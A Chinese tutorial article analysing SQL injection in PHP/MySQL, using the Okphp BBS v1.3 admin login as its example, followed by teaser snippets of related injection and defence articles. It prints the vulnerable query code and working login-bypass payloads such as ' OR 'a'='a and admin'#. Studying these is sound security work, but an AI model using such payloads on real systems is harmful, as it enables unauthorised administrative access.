php mysql SQL注入語句構造

2021-03-02 PHP老楊

由於PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困難,尤其是注射時語句的構造方面更是個難點,本文主要是借對Okphp BBS v1.3一些文件得簡單分析,來談談php+mysql注射語句構造方式,希望本文對你有點幫助。

  聲明:文章所有提到的「漏洞」,都沒有經過測試,可能根本不存在,其實有沒有漏洞並不重要,重要的是分析思路和語句構造。

  二.「漏洞」分析:

  1.admin/login.php注射導致繞過身份驗證漏洞:

  代碼:

  $conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);

  $password = md5($password);

  $q = "select id,group_id from $user_table where username='$username' and password='$password'";

  $res = sql_query($q,$conn);

  $row = sql_fetch_row($res);

  $q = "select id,group_id from $user_table where username='$username' and password='$password'"中

  $username 和 $password 沒過濾, 很容易就繞過。

  對於select * from $user_table where username='$username' and password='$password'這樣的語句改造的方法有:

  構造1(利用邏輯運算):$username=' OR 'a'='a $password=' OR 'a'='a

  相當於sql語句:

  select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'

  構造2(利用mysql裡的注釋語句# ,/* 把$password注釋掉):$username=admin'#(或admin'/*)

  即:

  select * from $user_table where username='admin'#' and password='$password'"

  相當於:

  select * from $user_table where username='admin'

  在admin/login.php中$q語句中的$password在查詢前進行了md5加密所以不可以用構造1中的語句繞過。這裡我們用構造2:

  select id,group_id from $user_table where username='admin'#' and password='$password'"

  相當於:

  select id,group_id from $user_table where username='admin'

  只要存在用戶名為admin的就成立,如果不知道用戶名,只知道對應的id,

  我們就可以這樣構造:$username=' OR id=1#

  相當於:

  select id,group_id from $user_table where username='' OR id=1# and password='$password'(#後的被注釋掉)

  我們接著往下看代碼:

  if ($row[0]) {

  // If not admin or super moderator

  if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) {

  $login = 0;

  }

  else {

  $login = 1;

  }

  }

  // Fail to login

  if (!$login) {

  write_log("Moderator login","0","password wrong");

相關焦點

  • desc巧用及反引號 ` SQL注入——【61dctf】 inject writeup
    ($sql);echo $ret[0];測試http://web.jarvisoj.com:32794/index.php?>當table=test時,頁面返回flag{xxx}mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();因此該條語句沒有跳轉到Hacker(),而是執行了mysqli_query()函數而反過來,當table為其他值時,mysqli_query()函數執行失敗,從而執行了
  • SQL注入的幾種類型和原理
    通過上面頁面返回的不同可以判斷語句被成功執行,猜測查詢語句的結構,可以構造如下的語句。為什麼寬字節注入會發生?一般來說,我們使用進行SQL注入測試時,都會使用'、",開發者為了防止SQL注入,將傳入到的符號進行轉義,例如php中addslashes函數,會將字符加上轉義符號。由於轉義的存在,加上mysql的特性是的結果和正常的相同,甚至都不能判斷含有注入點,sqlmap進行測試頁無法進行注入。
  • 淺談開啟magic_quote_gpc後的sql注入攻擊與防範
    通過啟用php.ini配置文件中的相關選項,就可以將大部分想利用SQL注入漏洞的駭客拒絕於門外  通過啟用php.ini配置文件中的相關選項,就可以將大部分想利用SQL注入漏洞的駭客拒絕於門外。';這時候通過url地址欄輸入的單引號(')將被加上反斜線,該sql語句將失效。
  • Myql SLEEP函數和SQL注入
    sqlmap是使用Python編寫的一款資料庫sql注入掃描工具,目前支持常見的mysql、oracel、postgresql、sql server,access,db2,sqlite等數據的安全漏洞(sql注入)。
  • php與MySQL(基本操作)
    $conn){die("Connection failed: " . mysqli_connect_error());}創建資料庫mysqli_query()在php中,執行mysql語句,都要用到mysqli_query()方法。
  • Mysql注入導圖-學習篇
    Mysql+php的環境搭起來非常簡單,使用phpstudyhttp://www.phpstudy.net/a.php/211.html即可,這也是我選擇mysql+php入手的原因之一SQLi-labs有專門的報錯關卡,hacking-lab 第六關http://hackinglab.cn/ShowQues.php?type=sqlinject同樣是報錯注入,可以練習一下。
  • MySQL 注入攻擊與防禦
    加微信群回復公眾號:微信群;QQ群:16004488加微信群或QQ群可免費索取:學習教程注入常用函數與字符下面幾點是注入中經常會用到的語句控制語句操作(select, case, if(), ...)字符串的猜解操作(mid(), left(), rpad(), …)字符串生成操作(0x61, hex(), conv()(使用conv([10-36],10,36)可以實現所有字符的表示))測試注入可以用以下語句對一個可能的注入點進行測試
  • SQL注入攻擊詳解
    這種網站內部直接發送的Sql請求一般不會有危險,但實際情況是很多時候需要結合用戶的輸入數據動態構造 Sql 語句,如果用戶輸入的數據被構造成惡意 Sql 代碼,Web 應用又未對動態構造的 Sql 語句使用的參數進行審查,則會帶來意想不到的危險。Sql 注入帶來的威脅主要有如下幾點猜解後臺資料庫,這是利用最多的方式,盜取網站的敏感信息。
  • 技術乾貨 | PHP PDO & Injection Bypass
    )){    var_dump($row);    echo "";}PDO默認支持多語句查詢,如果php版本小於5.5.21或者創建PDO實例時未設置PDO::MYSQL_ATTR_MULTI_STATEMENTS為false時可能會造成堆疊注入<?
  • 特殊場景的sql注入思路
    上一篇介紹了sql注入的基礎知識以及手動注入方法,但是在實際的環境中往往不會像靶場中那樣簡單。今天我就來為大家介紹一種特殊場景的sql注入思路。用戶名與密碼分開驗證的情況第一個場景我們以We Chall平臺的Training: MySQL II 一題為例。
  • 技術分享 | MySQL 注入攻擊與防禦
    ,文章如果有錯也歡迎各位dalao指出:)注入常用函數與字符下面幾點是注入中經常會用到的語句控制語句操作(select, case, if(), ...)字符串的猜解操作(mid(), left(), rpad(), …)字符串生成操作(0x61, hex(), conv()(使用conv([10-36],10,36)可以實現所有字符的表示))測試注入可以用以下語句對一個可能的注入點進行測試
  • 淺析mysql存儲過程
    去年的強網杯,出了一道mysql堆疊注入叫隨便注,這道題被好多比賽玩了一整年,直到現在還是有各種新姿勢,但是今天我忽然想到似乎沒有對這個題目有一個很認真的分析,因此這裡總結一下這個題目的出題用意和原本的預期做法:堆疊注入Stacked injections:堆疊注入。從名詞的含義就可以看到應該是一堆sql語句(多條)一起執行。
  • Mysql 手工注入【常規union查詢篇】
    下面是注入mysql時經常會用到的一些單行函數,熟練使用是靈活注入的前提,尤其是在對抗一些waf的時候字符串連接函數,將多個字符串連接成一個字符串,注意,中間只要字符串有一個為空,最後結果也為空 concat(str1,str2,str3.
  • MySQL中插入datetime時的PHP date()格式
    >   if (mysqli_query($conn, $sql)) {     echo "New record created successfully"; } else {     echo "Error: " .
  • 全網最詳細的常見PHP漏洞全方面解析
    <form action="" method="post">這樣直接避免了$_SERVER["PHP_SELF"]變量被跨站PHP 漏洞全解(五)-SQL 注入攻擊SQL 注入攻擊(SQL Injection),是攻擊者在表單中提交精心構造的 sql 語句,改變原來的 sql語句,如果 web程序沒有對提交的數據經過檢查
  • PHP mysql中limit用法詳解(代碼示例)
    源 / php中文網      源 / www.php.cn在MySQL中,LIMIT子句與SELECT語句一起使用,以限制結果集中的行數。LIMIT子句接受一個或兩個offset和count的參數。這兩個參數的值都可以是零或正整數。offset:用於指定要返回的第一行的偏移量。
  • mysql常用sql語句總結
    SELECT column_name(s)FROM table_name1INNER JOIN table_name2ON table_name1.column_name=table_name2.column_name外連結查詢外連接(全部併集)mysql不支持,oricle,sql server都可以。
  • 在你的PHP項目中單獨使用Laravel Eloquent查詢語句來避免 SQL 注入
    我一直都在關注他們的網站,從 2010,2013 和 2017 年的報告中我發現了一些相似之處,SQL 或其他類型的注入威脅都是高居榜首。這是個心腹大患。它會導致你破產,因此這個事情關乎存亡,你單位應該著力處理此類問題避免它的出現。什麼是注入?
  • SQL注入常規Fuzz全記錄
    前言本篇文章是在做ctf bugku的一道sql 盲注的題(題目地址:注入題目)中運用了fuzz的思路,完整記錄整個fuzz的過程
  • mysql修改語句UPDATE的使用
    今天介紹一下update的使用,這個關鍵詞就是修改資料庫語句。我們看看在哪些環境會用到修改語句,比如在編輯輸入資料的時候發現資料錄錯了,或者某個信息要修改,這個時候就需要用到update了。我們實現的是最後原理,不管是asp,jsp還是php實現最底層都是通過sql語句修改資料庫,實現達到的效果。通過程序篩選出數據,在指定去執行。我們看看demo我們先看看update的語法。